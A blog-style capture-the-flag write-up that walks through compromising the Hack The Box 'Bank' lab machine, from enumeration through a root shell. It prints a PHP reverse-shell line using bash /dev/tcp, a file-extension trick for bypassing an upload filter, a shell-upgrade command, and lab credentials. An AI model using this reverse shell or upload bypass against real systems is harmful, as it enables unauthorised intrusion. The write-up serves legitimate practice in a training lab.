Hack The Box: Bank write-up


This is a write-up of the Bank box from Hack The Box. Bank is an easy Linux box, and hacking it requires:

  • Text searching and manipulation;
  • MySQL enumeration; and
  • SUID knowledge.

Note before – unfortunately this box also requires some guesswork, or assumed knowledge. This is unfortunate as, despite being ranked as an easy box, it makes the box less accessible for new hackers on the Hack The Box platform.

Follow the steps below to make some changes to your “hosts” file before starting the box:

  1. Use ‘sudo vim /etc/hosts’;
  2. Press ‘Insert’ to enter insert mode and make changes to the file and move your cursor to the first empty line;
  3. Type ‘ bank.htb’;
  4. Press ‘Esc’ to exit insert mode; and
  5. Type ‘:wq’ to save your changes and exit vim.

This is not something new hackers would be expected to know to do, nor is it something a penetration tester would be expected to do on a real-life engagement. However this is a reasonably common requirement on Hack The Box boxes, to the point that I have even written a script to automate this edit whenever I start a new box. The difference between this box and others that require this change is that typically leave clues or hints that the change is required. This box has no hints or signposts to do this, and the box is not solvable without it.



I started this box with the usual enumeration scripts:

  • AutoRecon;
  • Nmap; and
  • Gobuster.

Nmap revealed 3 open ports:

  • 22, for SSH traffic;
  • 53, for DNS traffic; and
  • 80, for http traffic.
Nmap output

I have never seen an SSH vulnerability on an easy box, so I typically ignore it until I find some credentials. I spent some time enumerating DNS but it didn’t reveal anything useful to solve the box.

Port 80

Port 80 – bank.htb/login.php

The landing page reveals 2 useful pieces of information :

Under Port 80 we see the line “Requested resource was login.php”, so I started there.

  • We have somewhere to login and we should try find some credentials; and
  • The website is running on PHP.

I did try SQL injection here and ran the login request through Burp to see if there was anything interesting going on but did not find anything useful. Therefore the next step was to check the contents of Gobuster to find another way in.

Gobuster output

Gobuster revealed two interesting directories, ‘/inc’ and ‘/uploads’. The ‘/inc’ directory contained two interesting files, ‘/users.php’ and ‘tickets.php’, but ultimately these files were not useful yet. Therefore I ran ffuf with a bigger wordlist. I could have used Gobuster again for this task, however ffuf is much faster than Gobuster when using a bigger wordlist.

ffuf output

The bigger wordlist revealed a new directory – ‘/balance-transfer’.


The ‘/balance-transfer’ directory contained hundreds of files. Opening a few at random revealed they all contained encrypted references to:

  • Full names;
  • Emails;
  • Passwords;
  • Credit Cards;
  • Transactions; and
  • Balances.
Balance transfer files

Each file started with the line “OK ENCRYPT SUCCESS”, suggesting that there were one or more tickets somewhere in this list of hundreds that were unencrypted and that these tickets would have some credentials we could use to log into the portal. The challenge was finding these tickets without simply clicking through all of them one by one.

Text searching and manipulation

I decided to parse the ‘/balance-transfer’ page to see if I could find an odd one out. I used curl to examine the page in the terminal, and a combination of grep and sed to clean up the output.

Text manipulation

The ‘/balance-transfer’ page revealed 3 things about each file:

  • The file name;
  • The file upload datetime; and
  • The file size.

The names seemed unlikely to be useful, as they were most likely just hashes and I also couldn’t think of a way to search through them. Therefore I used a combination of awk and uniq to search through the dates.

File upload times

Unfortunately the output revealed all the files were uploaded at the same time, so the date was unlikely to help me. Therefore I decided to run the same command on the file size.

File sizes

This command revealed some interesting data. Most file sizes were between 581 and 585 bytes, however at least one file was only 257 bytes. Therefore I went back to the browser and ran a search for ‘257’ and opened the corresponding file.

Unique balance transfer
Contents of unique balance transfer

There was only one file that was 257 bytes large, and it was different to all the others. For an unknown reason, the encryption had failed on this file and left the username and password in plain text:

chris@bank.htb : !##HTBB4nkP4ssw0rd!##

We could therefore use these credentials to log in to the main portal on the ‘/login.php’ page.


Logging in to the portal revealed two pages:

  • Dashboard, the landing page;
  • Support.

Dashboard seemed to be a static page with no interactive elements, so I moved quickly to support.


The ‘/support.php’ page had a form that allowed for text input and file uploads. Because I knew the site was built on PHP, the easiest solution seemed to be to upload a PHP reverse shell. I created a tiny shell file called ‘shell.php’ with the following code:

exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'");

I uploaded it and received the following error message:

Error message

This message tells me that I can only upload images. Whilst that is a small setback, it is not too hard to overcome. There are several ways to fool web applications into executing PHP code in images. However I spent a long time trying various image uploads without success. I could upload image files, but I could not get the server to execute the PHP code. Eventually, I resorted back to inspecting the source HTML of the upload form for more information and found another clue.

Upload form HTML code

A leftover comment from the developer suggests that if we change the file extension to “.htb” we will be able to execute PHP code. I felt that this was another shortcoming of this box, as this was unlikely to be replicated in a real-life engagement, and made the box more CTF-like. However it is difficult for box designers to balance the needs of beginner hackers and real-life exploits, so we can understand the thought process behind this decision making. I finished by renaming my ‘shell.php’ file as ‘shell.htb’ and uploading the new file.

Success message

I was rewarded with a success message and could see my file in the “My Tickets” box. I opened a listener in my terminal using netcat, clicked on “Click Here” to open my shell and was rewarded with an interactive shell in my terminal.

Foothold shell


Note before – the steps in the User section are not required to get root access to the machine. To get root, go to the Privilege Escalation section. However, the following steps do show a path to getting low-level user access to the box and thus replicates a more real-world engagement.

Now that I had a foothold on the machine I had to upgrade my privileges. I started by moving out of the ‘/uploads’ directory and exploring the ‘/bank’ application. I found the ‘inc’ folder I had found earlier in my enumeration and decided to read the contents of the ‘user.php’ and ‘tickets.php’ files.

Contents of user.php

This file suggests there is a MySQL database on the box, so we will try to access that with the credentials:

root : !@#S3cur3P4ssw0rd!@#

The login attempt failed initially, but not because the credentials were incorrect. The shell died each time I attempted to log in to the database. Therefore I used the following python code to upgrade the shell first:

python -c 'import pty; pty.spawn("/bin/bash")'

After that, I was able to access the database and start enumerating.

MySQL database

The database revealed another set of credentials in the form of a username and a hashed password:

chris@bank.htb : b27179713f7bffc48b9ffd2cf9467620

At this stage, we could run this hash through Hashcat or John The Ripper to try and force our way in. This would allow us to SSH into the Chris account on the box. I ran a few attempts at cracking the hash with John, but was unable to process it and given it is not required to crack the box, I moved on to the privilege escalation.

Privilege Escalation

I was manually enumerating the Bank application when I came across an unusual folder:

Contents of the /var/htb folder

We have execute permission on the ‘/emergency’ file and the file is owned by root, so this is a potential vector for privilege escalation. I ran the file to see what would happen.

Root shell

As we can see, the emergency script simply spawns a web shell with root access. This is a disappointing end to the box, as it is not something that is likely to be replicated in a real-world engagement. This makes the box more CTF-like and doesn’t give the beginner hacker a chance to learn about privilege escalation. If we wanted to make discovery more realistic, we could run the following command to show all files with the SUID:

find / -type f -user root -perm -4000 2>/dev/null
find command

This command returns a relatively short output of files, of which the /var/htb/emergency stands out as non-standard and therefore worth some investigation. We could also run LinEnum, which would highlight this file to us, and whilst that would be more a more realistic means of finding the file it still doesn’t make it a challenging privilege escalation.

Bank has been Pwned


Bank is an easy box from Hack The Box and is great for demonstrating aspects of hacking to new hackers. Unfortunately it lets itself down in some areas with regard to real-world simulation, and whilst this can be slightly forgiven considering the maker designed it for beginners, I feel like a couple of minor tweaks to the box would not have made it much more realistic without increasing the difficulty. That aside, I would still recommend this box to new hackers, particularly as a means to practice basic bash commands.

Leave a Reply